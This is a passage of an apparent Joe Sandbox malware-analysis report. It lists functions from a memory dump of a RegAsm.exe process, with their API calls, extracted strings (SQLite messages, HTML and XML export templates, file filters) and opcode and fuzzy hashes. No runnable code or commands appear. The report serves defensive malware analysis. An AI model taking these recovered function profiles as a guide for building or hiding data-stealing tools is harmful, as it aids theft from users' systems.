                      • Instruction ID: ced2a49a11d8a5ad7e856d80fa96ce31c371be68fc2c17877008b9264e9f9212
                      • Opcode Fuzzy Hash: 31f1d1be7c9a4426e09052d790ecb19dd0b8106983b19d46a1984a4086cae070
                      • Instruction Fuzzy Hash: 58F08631900317A9E7206F357D41B672AE45B86F83714017BFC04D12D9DB7CE98A9B6D
                      Function 0041B7D9 Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 269COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$memset
                      • String ID: -journal$-wal
                      • API String ID: 438689982-2894717839
                      • Opcode ID: a23b5b0b71c70c88a774746b26d285d432c8b869e41e999d2c4a765dbb53c531
                      • Instruction ID: 9370885b9bf0560d7aa4477d28ce4586d78acc2621466e64c0ac2b95c9c5353a
                      • Opcode Fuzzy Hash: a23b5b0b71c70c88a774746b26d285d432c8b869e41e999d2c4a765dbb53c531
                      • Instruction Fuzzy Hash: CBA1EFB1A04606EFCB14DF69C8417DAFBB4FF04314F14826EE46897381D738AA95CB99
                      Function 0041881C Relevance: 12.1, APIs: 8, Instructions: 70timeCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$CountCounterCurrentPerformanceProcessQuerySystemTickTime
                      • String ID:
                      • API String ID: 4218492932-0
                      • Opcode ID: 5b3bc6f1ade46934c27ca3d947f7b8c79a38ab90bf8452c3a07df30f33fc823a
                      • Instruction ID: a427a134a5f43ecd7f569dc5a6dbdc76404a49e7a1b6a3986382666b5299f542
                      • Opcode Fuzzy Hash: 5b3bc6f1ade46934c27ca3d947f7b8c79a38ab90bf8452c3a07df30f33fc823a
                      • Instruction Fuzzy Hash: 141184B39001286BEB00AFA5DC899DEB7ACEB1A210F454837FA15D7144E634E2488795
                      Function 0044A7C0 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 203COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0044A6E0: memset.MSVCRT ref: 0044A6EB
                        • Part of subcall function 0044A6E0: memset.MSVCRT ref: 0044A6FB
                        • Part of subcall function 0044A6E0: memcpy.MSVCRT ref: 0044A75D
                        • Part of subcall function 0044A6E0: memcpy.MSVCRT ref: 0044A7AA
                      • memcpy.MSVCRT ref: 0044A8BF
                      • memcpy.MSVCRT ref: 0044A90C
                      • memcpy.MSVCRT ref: 0044A988
                        • Part of subcall function 0044A3F0: memcpy.MSVCRT ref: 0044A422
                        • Part of subcall function 0044A3F0: memcpy.MSVCRT ref: 0044A46E
                      • memcpy.MSVCRT ref: 0044A9D8
                      • memcpy.MSVCRT ref: 0044AA19
                      • memcpy.MSVCRT ref: 0044AA4A
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$memset
                      • String ID: gj
                      • API String ID: 438689982-4203073231
                      • Opcode ID: 85f25b7c526aeaf15c340c15a86b7b9b8fd097bc53de23dcb8424ba1f871f8ae
                      • Instruction ID: 6893d0ddfb5a5ce8f484e87047b84ef7868cce638272d7e844f470f6f9013d76
                      • Opcode Fuzzy Hash: 85f25b7c526aeaf15c340c15a86b7b9b8fd097bc53de23dcb8424ba1f871f8ae
                      • Instruction Fuzzy Hash: 2E71D6F39083449BE310EF25D84059FB7E9ABD5348F050E2EF88997205E639DA19C797
                      Function 00405A0E Relevance: 10.6, APIs: 7, Instructions: 125windowCOMMON
                      Download Yara Rule
                      APIs
                      • GetDlgItem.USER32(?,000003E9), ref: 00405A25
                      • SendMessageW.USER32(00000000,00001009,00000000,00000000), ref: 00405A3E
                      • SendMessageW.USER32(?,00001036,00000000,00000026), ref: 00405A4B
                      • SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 00405A57
                      • memset.MSVCRT ref: 00405ABB
                      • SendMessageW.USER32(?,0000105F,?,?), ref: 00405AF0
                      • SetFocus.USER32(?), ref: 00405B76
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: MessageSend$FocusItemmemset
                      • String ID:
                      • API String ID: 4281309102-0
                      • Opcode ID: efd53bebf051b2277f9dab0bebba2bcddea9ab5f54e930dc2bb54400b8a4bf25
                      • Instruction ID: 6f3680249e95162a2c17081b35fa045d6cf646e1ea5253f38cdaf521fbeb1c86
                      • Opcode Fuzzy Hash: efd53bebf051b2277f9dab0bebba2bcddea9ab5f54e930dc2bb54400b8a4bf25
                      • Instruction Fuzzy Hash: 86414B75900219BBDB20DF95CC85EAFBFB8FF04754F10406AF508A6291D3759A90CFA4
                      Function 0040FA33 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _snwprintfwcscat
                      • String ID: &nbsp;$<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
                      • API String ID: 384018552-4153097237
                      • Opcode ID: e2d8d0cbab619b5be06ee0f81a04f929cebd05eebf119826ccd3725ad5dc4e14
                      • Instruction ID: 690b9c6e7bf42a1b777b65718bd5b5c6a61f2cd8039d9a9c88f4ff4500a270e2
                      • Opcode Fuzzy Hash: e2d8d0cbab619b5be06ee0f81a04f929cebd05eebf119826ccd3725ad5dc4e14
                      • Instruction Fuzzy Hash: D8319E31A00209AFDF14AF55CC86AAE7BB5FF45320F10007AE804AB292D775AE49DB94
                      Function 0040D7A7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79windowCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ItemMenu$CountInfomemsetwcschr
                      • String ID: 0$6
                      • API String ID: 2029023288-3849865405
                      • Opcode ID: 391c38dbba120c466a74104014748036d1901581f04e0d37adf97963ab497765
                      • Instruction ID: 35075b9e4b0179943f9cc9fcb0392e174ec026107191ec1d659f896637aaeb19
                      • Opcode Fuzzy Hash: 391c38dbba120c466a74104014748036d1901581f04e0d37adf97963ab497765
                      • Instruction Fuzzy Hash: A321AB32905300ABD720AF91DC8599FB7B8FB85754F000A3FF954A2280E779D944CB9A
                      Function 0040541F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 78COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004055A4: GetLastError.KERNEL32(?,00000000,00405522,?,?,?,00000000,00000000,?,00408E1C,?,?,00000060,00000000), ref: 004055B9
                      • memset.MSVCRT ref: 00405455
                      • memset.MSVCRT ref: 0040546C
                      • memset.MSVCRT ref: 00405483
                      • memcpy.MSVCRT ref: 00405498
                      • memcpy.MSVCRT ref: 004054AD
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$memcpy$ErrorLast
                      • String ID: 6$\
                      • API String ID: 404372293-1284684873
                      • Opcode ID: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                      • Instruction ID: af38dfd20ac5a94c77b7ead9800c7a3089711b207e9f3183cf3669ed78e53beb
                      • Opcode Fuzzy Hash: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                      • Instruction Fuzzy Hash: 572141B280112CBBDF11AF99DC45EDF7BACDF15304F0080A6B509E2156E6398B988F65
                      Function 0041851E Relevance: 10.6, APIs: 7, Instructions: 67sleepCOMMON
                      Download Yara Rule
                      APIs
                      • GetFileAttributesW.KERNEL32(00000000), ref: 0041854F
                      • GetLastError.KERNEL32 ref: 0041855C
                      • Sleep.KERNEL32(00000064), ref: 00418571
                      • GetFileAttributesA.KERNEL32(00000000), ref: 00418581
                      • GetLastError.KERNEL32 ref: 0041858E
                      • Sleep.KERNEL32(00000064), ref: 004185A3
                      • ??3@YAXPAX@Z.MSVCRT ref: 004185AC
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: AttributesErrorFileLastSleep$??3@
                      • String ID:
                      • API String ID: 1040972850-0
                      • Opcode ID: 609e8585d10487ae529d0e45f017ab7cc050c6f090476510ecc0468bc0539608
                      • Instruction ID: d61f765991b085217c17e58d7c3851c8d0f597f546fc635256e60a728691d00d
                      • Opcode Fuzzy Hash: 609e8585d10487ae529d0e45f017ab7cc050c6f090476510ecc0468bc0539608
                      • Instruction Fuzzy Hash: A011C639540624BBC61027716CC89BE3676E75B335B210A2EFA22912D0DF6C4CC2557E
                      Function 0040A06C Relevance: 10.6, APIs: 7, Instructions: 63timeCOMMON
                      Download Yara Rule
                      APIs
                      • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A088
                      • GetDateFormatW.KERNEL32(00000400,00000001,000007C1,00000000,?,00000080), ref: 0040A0B4
                      • GetTimeFormatW.KERNEL32(00000400,00000000,000007C1,00000000,?,00000080), ref: 0040A0C9
                      • wcscpy.MSVCRT ref: 0040A0D9
                      • wcscat.MSVCRT ref: 0040A0E6
                      • wcscat.MSVCRT ref: 0040A0F5
                      • wcscpy.MSVCRT ref: 0040A107
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Time$Formatwcscatwcscpy$DateFileSystem
                      • String ID:
                      • API String ID: 1331804452-0
                      • Opcode ID: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                      • Instruction ID: 70f18838178cd2dbc623065d80ced1a8b0c5b1489d8a310e1ceaee9f81d034e1
                      • Opcode Fuzzy Hash: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                      • Instruction Fuzzy Hash: 321191B284011DBFEB10AF95DC45DEF777CEB01745F104076B904B6091E6399E858B7A
                      Function 00410030 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • <?xml version="1.0" ?>, xrefs: 0041007C
                      • <%s>, xrefs: 004100A6
                      • <?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00410083
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$_snwprintf
                      • String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
                      • API String ID: 3473751417-2880344631
                      • Opcode ID: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                      • Instruction ID: 2862698e7f89dc449948c814091faf4507903f68b21858a7dbdf66e33a92e1a6
                      • Opcode Fuzzy Hash: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                      • Instruction Fuzzy Hash: F501C8F2E402197BD720AA559C41FEAB6ACEF48345F0040B7B608B3151D6389F494B99
                      Function 0040A178 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcscat$_snwprintfmemset
                      • String ID: %2.2X
                      • API String ID: 2521778956-791839006
                      • Opcode ID: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                      • Instruction ID: 672bbb69153a15f1984629f72f86def8939f314c78adde6f8276b735d3b02408
                      • Opcode Fuzzy Hash: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                      • Instruction Fuzzy Hash: 2101D472A403297AF7206756AC46BBA33ACAB41714F11407BFC14AA1C2EA7C9A54469A
                      Function 0040D5D6 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _snwprintfwcscpy
                      • String ID: dialog_%d$general$menu_%d$strings
                      • API String ID: 999028693-502967061
                      • Opcode ID: 17378f80787d8f3ebe1be11f22ab444215ff95c87d82bd16ffe54226d060cac5
                      • Instruction ID: 4b5f4d23dee208ad245a1fa3262b8d520e9fbefe09054bf07968a47f6ed58b46
                      • Opcode Fuzzy Hash: 17378f80787d8f3ebe1be11f22ab444215ff95c87d82bd16ffe54226d060cac5
                      • Instruction Fuzzy Hash: 1AE04FB5E8870035E92519A10C03B2A155086A6B5BF740C2BFD0AB11D2E47F955DA40F
                      Function 0040C3C3 Relevance: 9.1, APIs: 6, Instructions: 109registryCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1AE
                        • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1B6
                        • Part of subcall function 00414592: RegOpenKeyExW.KERNEL32(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                        • Part of subcall function 0040A9CE: ??3@YAXPAX@Z.MSVCRT ref: 0040A9DD
                      • memset.MSVCRT ref: 0040C439
                      • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                      • _wcsupr.MSVCRT ref: 0040C481
                        • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                        • Part of subcall function 0040A8D0: memcpy.MSVCRT ref: 0040A94F
                      • memset.MSVCRT ref: 0040C4D0
                      • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                      • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,?), ref: 0040C508
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$EnumValuememset$CloseOpen_wcsuprmemcpywcslen
                      • String ID:
                      • API String ID: 1973883786-0
                      • Opcode ID: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                      • Instruction ID: d2440758a7fd93b52fc88bd6111275bc9aa4df1ffeb01c53d5483546710cd2f3
                      • Opcode Fuzzy Hash: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                      • Instruction Fuzzy Hash: A4411CB2900219BBDB00EF95DC85EEFB7BCAF48304F10417AB505F6191D7749A44CBA5
                      Function 004116DD Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 82COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004116FF
                        • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                        • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                        • Part of subcall function 0040D134: memcpy.MSVCRT ref: 0040D24C
                        • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                        • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                        • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                        • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                        • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                        • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                        • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4D2
                        • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                        • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4F3
                        • Part of subcall function 0040A279: wcscpy.MSVCRT ref: 0040A2DF
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                      • String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
                      • API String ID: 2618321458-3614832568
                      • Opcode ID: 892276959a0c47848777e093024f27755814d5c903fce7db561a0975b0ee82c0
                      • Instruction ID: 2af34abd3473d77be096866f654b5876edf67c2d942e61680e34910f62553c8c
                      • Opcode Fuzzy Hash: 892276959a0c47848777e093024f27755814d5c903fce7db561a0975b0ee82c0
                      • Instruction Fuzzy Hash: 71310DB1D013589BDB10EFA9DC816DDBBB4FB08345F10407BE548BB282DB385A468F99
                      Function 004185CA Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004185FC
                      • GetFileAttributesExW.KERNEL32(00000000,00000000,?), ref: 0041860A
                      • ??3@YAXPAX@Z.MSVCRT ref: 00418650
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@AttributesFilememset
                      • String ID:
                      • API String ID: 776155459-0
                      • Opcode ID: 4b39cef6f19030deb93fe73f67a1ed4f2de523a71059e199493297a9b5600ca9
                      • Instruction ID: e31a4ad29e7632976921f0390f19c15604a95804a640e9d04457ce0419b5f72c
                      • Opcode Fuzzy Hash: 4b39cef6f19030deb93fe73f67a1ed4f2de523a71059e199493297a9b5600ca9
                      • Instruction Fuzzy Hash: 1211E632A04115EFDB209FA49DC59FF73A8EB45318B21013FF911E2280DF789D8196AE
                      Function 004174F5 Relevance: 9.1, APIs: 6, Instructions: 61COMMON
                      Download Yara Rule
                      APIs
                      • AreFileApisANSI.KERNEL32 ref: 004174FC
                      • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041751A
                      • malloc.MSVCRT ref: 00417524
                      • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041753B
                      • ??3@YAXPAX@Z.MSVCRT ref: 00417544
                      • ??3@YAXPAX@Z.MSVCRT ref: 00417562
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@ByteCharMultiWide$ApisFilemalloc
                      • String ID:
                      • API String ID: 2308052813-0
                      • Opcode ID: 57b08e0afea0ce6944352db5cfd1372888f4bdadf73f296c46880c7ddd44ae0d
                      • Instruction ID: 8d188238c5fd2fb6163cec5331830b967abe0ebba74b79ef9884251e0929a2bc
                      • Opcode Fuzzy Hash: 57b08e0afea0ce6944352db5cfd1372888f4bdadf73f296c46880c7ddd44ae0d
                      • Instruction Fuzzy Hash: 9701D4726081257BEB215B7A9C41DEF3AAEDF463B47210226FC14E3280EA38DD4141BD
                      Function 00418197 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON
                      Download Yara Rule
                      APIs
                      • GetTempPathW.KERNEL32(000000E6,?), ref: 004181DB
                      • GetTempPathA.KERNEL32(000000E6,?), ref: 00418203
                      • ??3@YAXPAX@Z.MSVCRT ref: 0041822B
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: PathTemp$??3@
                      • String ID: %s\etilqs_$etilqs_
                      • API String ID: 1589464350-1420421710
                      • Opcode ID: 56ec1b67c7de480e9defb5870fd9659a5ac2ef2fb157f5962cb97a1bc3191f52
                      • Instruction ID: b359b55a6514fc6c55a0405950767d5f88b37029f74eadb26d8a0dc7501745d5
                      • Opcode Fuzzy Hash: 56ec1b67c7de480e9defb5870fd9659a5ac2ef2fb157f5962cb97a1bc3191f52
                      • Instruction Fuzzy Hash: 43313931A046169BE725A3669C41BFB735C9B64308F2004AFE881C2283EF7CDEC54A5D
                      Function 0040973C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLastMessage_snwprintf
                      • String ID: Error$Error %d: %s
                      • API String ID: 313946961-1552265934
                      • Opcode ID: a33dc607cfdbe5323d0e9dcae57c7c504b94496520966edc9fba833a94f57729
                      • Instruction ID: 46023337ddced075b6ccb796d059e6b1f6412beb8ed51135551ede388a9512b7
                      • Opcode Fuzzy Hash: a33dc607cfdbe5323d0e9dcae57c7c504b94496520966edc9fba833a94f57729
                      • Instruction Fuzzy Hash: C1F0A7765402086BDB11A795DC06FDA73BCFB45785F0404ABB544A3181DAB4EA484A59
                      Function 00435A61 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 394COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID:
                      • String ID: foreign key constraint failed$new$oid$old
                      • API String ID: 0-1953309616
                      • Opcode ID: 069b176ce5c0b1780be5899369789ed0400efb36521cc305734fd4b3024b452b
                      • Instruction ID: 109d2bbf80905f1e2503505ff3b1f335ff26ebd6ff49ac5ca42eb4ed0232da3f
                      • Opcode Fuzzy Hash: 069b176ce5c0b1780be5899369789ed0400efb36521cc305734fd4b3024b452b
                      • Instruction Fuzzy Hash: 71E19271E00318EFDF14DFA5D882AAEBBB5EF08304F54406EE805AB351DB799A01CB65
                      Function 00431671 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 231COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • foreign key on %s should reference only one column of table %T, xrefs: 004316CD
                      • number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 004316F5
                      • unknown column "%s" in foreign key definition, xrefs: 00431858
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy
                      • String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
                      • API String ID: 3510742995-272990098
                      • Opcode ID: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                      • Instruction ID: d29657cdd308451ad819b70b0710bc7d1770ace047979dc07f2e4ef1020519d4
                      • Opcode Fuzzy Hash: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                      • Instruction Fuzzy Hash: B7913E75A00205DFCB14DF99C481AAEBBF1FF49314F25815AE805AB312DB35E941CF99
                      Function 0044A6E0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 84COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpymemset
                      • String ID: gj
                      • API String ID: 1297977491-4203073231
                      • Opcode ID: 33c29578f6527905f4abec1227faf2173c8a70e2811538addd66a8855e8dc5c8
                      • Instruction ID: b45f8a370873a883e9703370fbfe8b0477d3556cf02d11e6db591a78d085f858
                      • Opcode Fuzzy Hash: 33c29578f6527905f4abec1227faf2173c8a70e2811538addd66a8855e8dc5c8
                      • Instruction Fuzzy Hash: 95213DB67403002BE7209A39CC4165B7B6D9FC6318F0A481EF6464B346E67DD605C756
                      Function 0040E946 Relevance: 7.6, APIs: 5, Instructions: 60COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E8EC
                        • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E8FA
                        • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E90B
                        • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E922
                        • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E92B
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E961
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E974
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E987
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E99A
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E9D3
                        • Part of subcall function 0040AA04: ??3@YAXPAX@Z.MSVCRT ref: 0040AA0B
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: 9dde93f155bc57f068176677874d89208783a1ee477747775cc83fd265c4fbdd
                      • Instruction ID: 098569c1990a85f87ddbd530571c52e66e2f7ba0f471894b996c1416d461d1fd
                      • Opcode Fuzzy Hash: 9dde93f155bc57f068176677874d89208783a1ee477747775cc83fd265c4fbdd
                      • Instruction Fuzzy Hash: 5001A932A01A2097C665BB27A50195EB354BE86B24316896FF844773C1CB3C6C61C6DF
                      Function 0041748F Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                      Download Yara Rule
                      APIs
                      • AreFileApisANSI.KERNEL32 ref: 00417497
                      • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 004174B7
                      • malloc.MSVCRT ref: 004174BD
                      • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 004174DB
                      • ??3@YAXPAX@Z.MSVCRT ref: 004174E4
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharMultiWide$??3@ApisFilemalloc
                      • String ID:
                      • API String ID: 2903831945-0
                      • Opcode ID: d5ff2a264155eb9e3ce85c6bda5726e1366a88793ef295ade9d945fa0d444da7
